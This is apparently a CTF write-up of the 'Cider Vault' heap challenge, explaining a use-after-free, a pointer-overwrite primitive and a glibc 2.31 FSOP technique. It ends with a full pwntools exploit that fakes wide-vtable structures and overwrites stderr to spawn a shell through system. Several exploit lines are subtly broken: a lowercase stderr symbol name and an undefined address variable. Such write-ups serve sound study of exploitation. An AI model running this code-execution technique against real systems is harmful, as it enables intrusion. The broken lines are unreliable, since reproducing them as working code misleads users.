Bitskrieg 2026 Cider Vault

Cider vault is a regular pwn challenge with a UAF and a write-what-where primitive and a file stream oriented programming exploitation (FSOP). This was my first time using the FSOP technique so I'll document it here in this writeup


Kaddate |

Category : Pwn
Ctf : Bitskrieg 2026


We are given the binary as well as its libc and loader. Let's have a look at the binary first :

~ $ cider_vault
cider_vault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bde7005c8d35d07c7ddaaac0e44808ff70500fd5, for GNU/Linux 3.2.0, not stripped

~ $ checksec ./cider_vault 
[*] '/home/kaddate/ctf/ctfs/bitskrieg_2026/Cider_Vault/cider_vault'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The binary is well secured and the full RELRO is a bit annoying knowing that this is probably a libc exploitation. Let's have a look at the libc :

~ $ strings libc.so.6 | grep 'release version'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.18) stable release version 2.31.

We are working with the libc in version 2.31. This version is one of the latest that still holds the malloc hooks mechanism. It also has some protections against double frees and tcache poisoning.

Let's start it once to see what the program looks like :

Ok so this is yet another menu driven program which can allocates/edit/remove some data.

Ghidra FTW

The program a giant loop containing a switch that handles the differents options of the program :

The first thing I do here is to thoroughly analyze the program and lookout pour potential vulnerabilities.

Open page

  case 1:
    puts("page id:");
    page_id = get_num();
    if (page_id < 12) {
      if (vats[(int)page_id].page == (void *)0x0) {
        puts("page size:");
        second_page_id = get_num();
        size = CONCAT44(extraout_var_03,second_page_id);
                    /* int underflow */
        if (size - 128 < 1185) {
          page = malloc(size);
          vats[(int)page_id].page = page;
          if (page == (void *)0x0) goto exit;
          *(size_t *)&vats[(int)page_id].page_size = size;
          puts("ok");
          goto main_loop;
        }
      }
    }
    break;

The first option allows us to malloc() some chunks with a size given by the user. We can observe that the program stores the pages in an array of structs which holds both the pointers to the chunks and their sizes.

Int underflow ?

The only vulnerability here is probably an int underflow ? The program check if the given size - 128 is inferior to the maximum size allowed for a page. We might be able to trigger an int underflow here to malloc() a giant chunk. But the chunk would be so big that even malloc() might return an error.

    if (size - 128 < 1185) {
        // ...
    }

Read and write pages

  case 2:
    puts("page id:");
    page_id = get_num();
    if (page_id < 12) {
      if (vats[(int)page_id].page != (void *)0x0) {
        puts("ink bytes:");
        second_page_id = get_num();
        page_size = CONCAT44(extraout_var_00,second_page_id);
        if (page_size <= *(long *)&vats[(int)page_id].page_size + 128U) {
          puts("ink:");
          page = vats[(int)page_id].page;
          i = 0;
          if (page_size != 0) {
            do {
              sVar5 = read(0,(void *)((long)page + i),page_size - i);
              if (sVar5 < 1) goto switchD_00101365_exit;
              i = i + sVar5;
            } while (i < page_size);
          }
          goto end_loop;
        }
      }
    }
    break;
  case 3:
    puts("page id:");
    page_id = get_num();
    if (page_id < 0xc) {
      if (vats[(int)page_id].page != (void *)0x0) {
        puts("peek bytes:");
        second_page_id = get_num();
        if (CONCAT44(extraout_var_02,second_page_id) <=
            *(long *)&vats[(int)page_id].page_size + 0x80U) {
          write(1,vats[(int)page_id].page,CONCAT44(extraout_var_02,second_page_id));
          puts("");
          goto main_loop;
        }
      }
    }
    break;

The handlers to read and write the pages are nothing fancy, theses are simples primitives. The only thing I note is that the program uses write() and read(), theses functions doesn't stop at null byte which could be useful later when crafting payloads and such.

Remove Page

  case 4:
    puts("page id:");
    page_id = get_num();
                    /* UAF */
    if ((page_id < 0xc) && (vats[(int)page_id].page != (void *)0x0)) {
      free(vats[(int)page_id].page);
      puts("ok");
      goto main_loop;
    }
    break;

This one is interesting ! the program frees the user supplied chunk BUT it doesn't reset its pointer to NULL. So we have a UAF situation that can be combined with the read primitive to leak heap addresses and potentially libc addresses.

Whisper to pages

  case 6:
    puts("page id:");
    page_id = get_num();
    if ((11 < page_id) || (vats[(int)page_id].page == (void *)0x0)) break;
    puts("star token:");
    second_page_id = get_num();
    vats[(int)page_id].page =
         (void *)(CONCAT44(extraout_var_01,second_page_id) ^ 0x51f0d1ce6e5b7a91);
    puts("ok");
    goto main_loop;

This functionnality is also very interesting, it rewrites the pointer to a chunk with an input xored to a key. This allows us to arbitrary rewrite the pointers to any chunk. Combined with the read and write primitives, we have a write-what-where primivite and arbitrary read too. We can automate the task to write an arbitrary pointer like that :

def change_page_pointer(number: int = 0, pointer: int = 0):
    pointer_mask = 0x51f0d1ce6e5b7a91
    pointer_value = pointer ^ pointer_mask
    info(f"Changing page {number} pointer to {pointer:#x} (value = {pointer_value:#x})")
    p.sendlineafter(b"> \n", b"6")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.sendlineafter(b"star token:\n", str(pointer_value).encode())
    p.recvuntil(b"ok")

# change_page_pointer(1, 0xdeadbeef)

Moon Bell

And finally we have the moon bell option:

  case 7:
    _IO_wfile_overflow(stderr,88);
end_loop:
    puts("ok");
    goto main_loop;

This one is quite weird, it calls a function I have never seen before: _IO_wfile_overflow() with stderr. Upon looking at it on the web, most of the content I find are related to binary exploitations and more precisely to file stream oriented programming exploitation allowing to get RCE by hijacking the metadata of the files within the libc.

Exploitation Path

Upon theses findings, the exploitation path is clear. We can leak the libc address by using the UAF primitive, to then override a chunk's pointer via the whisper functionality. we can follow by overriding malloc hooks such as __free_hook to point to system() and free a chunk with /bin/sh as its data.

But this path completely bypasses the use of the function : _IO_wfile_overflow(stderr, 88), which kind of sounds like an unintended solve ?. Let's solve this challenge by doing the FSOP path !

Info

From now on, this writeup will follow the path to exploit the call to _IO_wfile_overflow(stderr, 88), if you are looking for a solve using the malloc hooks, there are some other writeups of this challenge that details it.

FSO-Whaaaat ?

The FSOP technique (File Stream Oriented Programming) abuses the internal structure of the file stream objects within the libc. Most files in the libc and more importantly the default files stdin, stdout and stderr are of type _IO_FILE_plus (or _IO_FILE_complete_plus depending on the compilation flags).

This struct contains the _IO_FILE struct that contains itself a lot of context informations that are consumed by other libc functions that operates of theses files. Most importantly the last member of our _IO_FILE_plus struct is a vtable! This vtable points to a list of functions that implement the different operations possible on the file.

Because the libc can interpret files differently, the libc can change the vtable pointer to another suitable vtable depending on the type of the file, this means that this pointer is writeable and if we manage to rewrite it we can trigger the libc to internally call functions that we, as an attacker, can control.

// pahole -AC "_IO_FILE_plus" ./libc.so.6
struct _IO_FILE_plus {
    FILE                       file;                 /*     0   216 */
    /* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
    const struct _IO_jump_t  * vtable;               /*   216     8 */

    /* size: 224, cachelines: 4, members: 2 */
    /* last cacheline: 32 bytes */
};

// pahole -AC "_IO_FILE" ./libc.so.6   
struct _IO_FILE {
    int                        _flags;               /*     0     4 */

    /* XXX 4 bytes hole, try to pack */

    char *                     _IO_read_ptr;         /*     8     8 */
    char *                     _IO_read_end;         /*    16     8 */
    char *                     _IO_read_base;        /*    24     8 */
    char *                     _IO_write_base;       /*    32     8 */
    char *                     _IO_write_ptr;        /*    40     8 */
    char *                     _IO_write_end;        /*    48     8 */
    char *                     _IO_buf_base;         /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    char *                     _IO_buf_end;          /*    64     8 */
    char *                     _IO_save_base;        /*    72     8 */
    char *                     _IO_backup_base;      /*    80     8 */
    char *                     _IO_save_end;         /*    88     8 */
    struct _IO_marker *        _markers;             /*    96     8 */
    struct _IO_FILE *          _chain;               /*   104     8 */
    int                        _fileno;              /*   112     4 */
    int                        _flags2;              /*   116     4 */
    __off_t                    _old_offset;          /*   120     8 */
    /* --- cacheline 2 boundary (128 bytes) --- */
    short unsigned int         _cur_column;          /*   128     2 */
    signed char                _vtable_offset;       /*   130     1 */
    char                       _shortbuf[1];         /*   131     1 */

    /* XXX 4 bytes hole, try to pack */

    _IO_lock_t *               _lock;                /*   136     8 */
    __off64_t                  _offset;              /*   144     8 */
    struct _IO_codecvt *       _codecvt;             /*   152     8 */
    struct _IO_wide_data *     _wide_data;           /*   160     8 */
    struct _IO_FILE *          _freeres_list;        /*   168     8 */
    void *                     _freeres_buf;         /*   176     8 */
    size_t                     __pad5;               /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    int                        _mode;                /*   192     4 */
    char                       _unused2[20];         /*   196    20 */

    /* size: 216, cachelines: 4, members: 29 */
    /* sum members: 208, holes: 2, sum holes: 8 */
    /* last cacheline: 24 bytes */
};

However, this is not as simple as that. Before calling any vtable's functions, the libc verifies that the address of the vtable is correct and not an arbitrary pointer by using the function IO_validate_vtable()...

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

BUT, our program specifically calls the function _IO_wfile_overflow(), and this function is part of the wide character functions. This call is vulnerable because the wide characters functions are not verified by IO_validate_vtable(). The wide character files use a specific field of IO_FILE_complete called _wide_data; it handles the context informations as well as the _wide_vtable for the wide characters functions implementations.

// pahole -AC "_IO_wide_data" ./libc.so.6
struct _IO_wide_data {
    wchar_t *                  _IO_read_ptr;         /*     0     8 */
    wchar_t *                  _IO_read_end;         /*     8     8 */
    wchar_t *                  _IO_read_base;        /*    16     8 */
    wchar_t *                  _IO_write_base;       /*    24     8 */
    wchar_t *                  _IO_write_ptr;        /*    32     8 */
    wchar_t *                  _IO_write_end;        /*    40     8 */
    wchar_t *                  _IO_buf_base;         /*    48     8 */
    wchar_t *                  _IO_buf_end;          /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    wchar_t *                  _IO_save_base;        /*    64     8 */
    wchar_t *                  _IO_backup_base;      /*    72     8 */
    wchar_t *                  _IO_save_end;         /*    80     8 */
    __mbstate_t                _IO_state;            /*    88     8 */
    __mbstate_t                _IO_last_state;       /*    96     8 */
    struct _IO_codecvt         _codecvt;             /*   104   112 */
    /* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
    wchar_t                    _shortbuf[1];         /*   216     4 */

    /* XXX 4 bytes hole, try to pack */

    const struct _IO_jump_t  * _wide_vtable;         /*   224     8 */

    /* size: 232, cachelines: 4, members: 16 */
    /* sum members: 228, holes: 1, sum holes: 4 */
    /* last cacheline: 40 bytes */
};

wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
      _IO_free_wbackup_area (f);
      _IO_wsetg (f, f->_wide_data->_IO_buf_base,
             f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

...SNIP...
void _IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

The function _IO_wfile_overflow() calls the function _IO_wdoallocbuf() which basically ends up calling (fp->_wide_data->_wide_vtable->__doallocate)(fp). So if we can control the _wide_data and _wide_vtable to rewrite the pointer of __doallocate, we can maybe get RCE.

Below is the full call path to __doallocate() if you are interested:

_IO_wfile_overflow() -> _IO_wdoallocbuf() -> _IO_WDOALLOCATE() -> WJUMP0() -> _IO_WIDE_JUMPS_FUNC() -> _IO_WIDE_JUMPS() -> _IO_CAST_FIELD_ACCESS() -> _IO_MEMBER_TYPE()

which ends up calling :

(fp->_wide_data->_wide_vtable->__doallocate)(fp)

typedef int (*_IO_doallocate_t) (FILE *);
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
   violation in case THIS has a different pointer type.  */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))

/* Type of MEMBER in struct type TYPE.  */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

Crafting a fake _wide_data

To craft a valid fake _wide_data that leads to a call to system(), we need to analyze the code path of _IO_wfile_overflow() and _IO_wdoallocbuf() and make sure our fake struct passes all the checks.

wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
      _IO_free_wbackup_area (f);
      _IO_wsetg (f, f->_wide_data->_IO_buf_base,
             f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

...SNIP...
void _IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

Looking into _IO_wfile_overflow();
1. (f->_flags & _IO_NO_WRITES) need to be false. Otherwise it instantly returns an error. I believe the default value for stderr will pass this condition without any problems.
2. (f->_flags & _IO_CURRENTLY_PUTTING) also has to be false. This also should pass by default as our program doesn't do any async operations on stderr.
3. Finally, It checks that (f->_wide_data->_IO_write_base == 0). So we need to ensure that our fake _wide_data->_IO_write_base contains 0.

Let's now have a look to _IO_wdoallocbuf():
1. fp->_wide_data->_IO_buf_base must be NULL, otherwise it returns without calling __doallocate()
2. fp->_flags & _IO_UNBUFFERED must be false, which is also an easy pass for us.

And that's it ! So this is what I came to using pwntools

fake_wide_data = flat({
    24: 0,                            # _IO_write_base
    48: 0,                            # _IO_buf_base
    224: p64(CHUNK_WIDE_VTABLE_ADDR), # _wide_vtable
})

As you can see, my fake _wide_data->_wide_vtable points to an arbitrary pointer. This will be our fake _wide_vtable that will contains a our evil __doallocate().

Crafting fake _wide_vtable

This one is straightforward; we need to write the offset of __doallocate to point to system(). All of the other fields are garbage.

fake_wide_table = flat({
    104: p64(libc.sym.system)
    })

call to system()

Finally, __doallocate() is called with the pointer to stderr as an argument. In our case this means stderr should have to point to something like /bin/sh. The first field the struct _IO_FILE is flags. This field is an int which hold some informations flags for the program.
we can try to rewrite the field to hold sh\x00 but this would rewrite the flags we need to pass the conditions in _IO_wfile_overflow() and _IO_wdoallocbuf(). A trick I found is to put $0\x00 which will result is a shell.
This works because system() calls the following command : SHELL_NAME -c line. If line is $0 it will be interpolated as SHELL_NAME, which calls the default shell of the libc.

#define SHELL_PATH  "/bin/sh"   /* Path of the shell.  */
#define SHELL_NAME  "sh"        /* Name to give it.  */

New exploitation path

Ok so now that we know how FSOP works, let's define a new exploitation path. To hijack stderr we need to craft 2 fake structs that we'll put into the heap. One of thoses structs needs to point to the second one (_wide_data->_wide_vtable). So we need to get the heap base address to deduce their addresses in the heap.
We also need to get the libc base address to get all the symbols we need and rewrite stderr. Then we need to rewrite the first bytes of stderr to prepare the call to system() and finally call the Moon Bell path of the program to trigger the call to _IO_wfile_overflow().

Heap leak

The get a heap leak we'll have to exploit the UAF vulnerability. We need to free() a chunk with a size of the fastbin family and then read its content.

def leak_heap_base():
    open_page(11, 200)
    free_page(11)
    data = read_page(11, 200).strip(b'\x00')
    leak = u64(data.ljust(8, b'\x00'))
    return leak - 0x10

heap_base = leak_heap_base()
success(f"Heap base @0x{heap_base:016x}")

Libc leak

The libc leak is similar but we need to free() a chunk that will go to the unsorted bin. We also need to make sure this chunk is not adjacent to the top chunk so that it isn't consolidated, for this we can use a guard chunk between our victim chunk and the top chunk.

def leak_libc_base():
    open_page(0, 0x420)
    open_page(1, 0x420)
    free_page(0)

    data = read_page(0, 300).strip(b'\x00')
    leak = u64(data[-6:].ljust(8, b'\x00'))
    # last unsorted chunk points to main_arena + 96
    libc_base = leak - libc.sym.main_arena - 96
    return libc_base

libc_base = leak_libc_base()
success(f"libc base @0x{libc_base:016x}")

libc.address = libc_base

Crafting _wide_data and _wide_vtable in the heap

Now that we have the heap and libc addresses, we can calculate the addresses of our fake chunks and craft them :

CHUNK_WIDE_DATA = 2
CHUNK_WIDE_VTABLE = 3

CHUNK_WIDE_DATA_ADDR = heap_base + 0x370
CHUNK_WIDE_VTABLE_ADDR = heap_base + 0xbd0

open_page(CHUNK_WIDE_DATA, 0x300)
open_page(CHUNK_WIDE_VTABLE, 0x300)

fake_wide_table = flat({
    104: p64(libc.sym.system)
    })

fake_wide_data = flat({
    24: 0,                          # _IO_write_base
    48: 0,                          # _IO_buf_base
    224: p64(CHUNK_WIDE_VTABLE_ADDR),
})

write_page(CHUNK_WIDE_DATA, fake_wide_data)
write_page(CHUNK_WIDE_VTABLE, fake_wide_table)

Rewriting stderr datas

Once this step done, we can rewrite the internal datas of stderr. It is possible by using the write-what-where primitive identified during the static analysis of the program done at the beginning of this writeup.

change_page_pointer(2, libc.sym._io_2_1_stderr_)
write_page(2, b"$0\x00")

_wide_data = libc.sym._IO_2_1_stderr_ + 160 # offset to _wide_data
change_page_pointer(2, _wide_data)
write_page(2, p64(chunk_wide_data_addr))

trigger the FSOP chain

Finally we need to call _IO_wfile_overflow():

info(f"calling _IO_wfile_overflow(stderr)...")
p.sendlineafter(b"> \n", b"7")
p.interactive()

The full exploit is available here:

import argparse

def parse_args():
    """Parse command-line arguments for the exploit."""
    parser = argparse.ArgumentParser(description="CTF exploit script")

    parser.add_argument("binary", help="Path to the target ELF")
    parser.add_argument("--debug", action="store_true", help="Run the binary under gdb")
    parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"), 
                        help="Connect to remote HOST PORT")
    parser.add_argument("--libc", help="Path to custom libc")

    args, remaining = parser.parse_known_args()
    args.forward = remaining
    return args

cli_args = parse_args()
# Prevents pwntools from infering with CLI args. (Would be wise to move to pwnlib)
from pwn import *

def loader(args):
    global elf
    context.terminal = ['sakura', '-e', 'zsh', '-c']
    binary_and_argv = [args.binary] + [x for x in args.forward]

    # Load main binary
    context.binary = elf = ELF(args.binary, checksec=False)

    # Environment handling with optional libc
    env = {}
    libc = None

    if args.libc:
        libc = ELF(args.libc, checksec=False)
        info(f"Using custom libc {args.libc}")

    # Remote mode
    if args.remote:
        host, port = args.remote
        p =  remote(host, int(port))
    # Local debug mode
    elif args.debug:
        p = gdb.debug(
            binary_and_argv,
            env=env
            #gdbscript=""
        )
    else:
        pty = process.PTY
        p = process(binary_and_argv, env=env, stdin=pty, stdout=pty)

    return p, elf, libc

def open_page(number: int = 0, size: int = 10):
    info(f"Opening page {number} with size {size}...")
    p.sendlineafter(b"> \n", b"1")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.sendlineafter(b"page size:\n", str(size).encode())
    p.recvuntil(b"ok")

def write_page(number: int = 0, data: bytes = b"Kaddate"):
    info(f"Writing {len(data)} bytes to page {number}: {data[:16]}...")
    p.sendlineafter(b"> \n", b"2")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
    p.sendlineafter(b"ink:\n", data)
    p.recvuntil(b"ok")

def read_page(number: int = 0, amount: int = 0) -> bytes:
    info(f"Reading {amount} bytes from page {number}...")
    p.sendlineafter(b"> \n", b"3")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.sendlineafter(b"peek bytes:\n", str(amount).encode())
    data = p.recv(amount)
    p.recvuntil(b"ok")
    return data

def free_page(number: int = 0):
    info(f"Freeing page {number}...")
    p.sendlineafter(b"> \n", b"4")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.recvuntil(b"ok")

def change_page_pointer(number: int = 0, pointer: int = 0):
    pointer_mask = 0x51f0d1ce6e5b7a91
    pointer_value = pointer ^ pointer_mask
    info(f"Changing page {number} pointer to {pointer:#x} (value = {pointer_value:#x})")
    p.sendlineafter(b"> \n", b"6")
    p.sendlineafter(b"page id:\n", str(number).encode())
    p.sendlineafter(b"star token:\n", str(pointer_value).encode())
    p.recvuntil(b"ok")

def call_wfile_overflow():
    info(f"calling _IO_wfile_overflow(stderr)...")
    p.sendlineafter(b"> \n", b"7")

def leak_heap_base():
    open_page(11, 200)
    free_page(11)
    data = read_page(11, 200).strip(b'\x00')
    leak = u64(data.ljust(8, b'\x00'))
    return leak - 0x10

def leak_libc_base():
    open_page(0, 0x420)
    open_page(1, 0x420)
    free_page(0)

    data = read_page(0, 300).strip(b'\x00')
    leak = u64(data[-6:].ljust(8, b'\x00'))
    # last unsorted chunk points to main_arena + 96
    libc_base = leak - libc.sym.main_arena - 96
    return libc_base

if __name__ == "__main__":
    p, elf, libc = loader(cli_args)

    heap_base = leak_heap_base()
    success(f"Heap base @0x{heap_base:016x}")

    libc_base = leak_libc_base()
    success(f"libc base @0x{libc_base:016x}")

    libc.address = libc_base

    success(f"system() @0x{libc.sym.system:016x}")

    # _IO_wfile_overflow(stderr) is automatically called
    # _IO_wfile_overflow() calls _IO_wdoallocbuf() that we can try to rewrite.
    # The call chain is : (fp->_wide_data->_wide_vtable->__doallocate)(fp)

    # _wide_data @ fp+160
    # _wide_vtable @ _wide_data+224
    # __doallocate @ _wide_vtable+104

    def read_ptr(addr, offsets) -> int:
        for o in offsets:
            addr = u64(libc.read(addr + o, 8)) + libc.address
        return addr

    success(f"stderr                                          @ 0x{libc.sym._IO_2_1_stderr_:016x}")
    success(f"stderr->_wide_data                              = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160]):016x}")
    success(f"stderr->_wide_data->_wide_vtable                = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160, 224]):016x}")
    success(f"stderr->_wide_data->_wide_vtable->__do_allocate = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160, 224, 104]):016x}")

    _wide_data = libc.sym._IO_2_1_stderr_ + 160
    success(f"_wide_data @ 0x{_wide_data:016x}")

    _wide_vtable = read_ptr(libc.sym._IO_2_1_stderr_, [160]) + 224
    success(f"_wide_vtable @ 0x{_wide_vtable:016x}")

    __do_allocate = read_ptr(libc.sym._IO_2_1_stderr_, [160, 224]) + 104
    success(f"__do_allocate @ 0x{__do_allocate:016x}")

    CHUNK_WIDE_DATA = 2
    CHUNK_WIDE_VTABLE = 3
    CHUNK_WIDE_DATA_ADDR = heap_base + 0x370
    CHUNK_WIDE_VTABLE_ADDR = heap_base + 0xbd0

    open_page(CHUNK_WIDE_DATA, 0x300)
    open_page(CHUNK_WIDE_VTABLE, 0x300)

    fake_wide_table = flat({
        104: p64(libc.sym.system)
        })

    fake_wide_data = flat({
        24: 0,                          # _IO_write_base
        48: 0,                          # _IO_buf_base
        224: p64(CHUNK_WIDE_VTABLE_ADDR),
    })

    write_page(CHUNK_WIDE_DATA, fake_wide_data)
    write_page(CHUNK_WIDE_VTABLE, fake_wide_table)

    change_page_pointer(2, libc.sym._io_2_1_stderr_)
    write_page(2, b"$0\x00")

    change_page_pointer(2, _wide_data)
    write_page(2, p64(chunk_wide_data_addr))

    call_wfile_overflow()
    p.recvuntil(b"> ")
    p.interactive()

References

  • https://corgi.rip/posts/leakless_heap_1/
  • https://elixir.bootlin.com/glibc/glibc-2.31/source
  • https://niftic.ca/posts/fsop/

Made with luv :3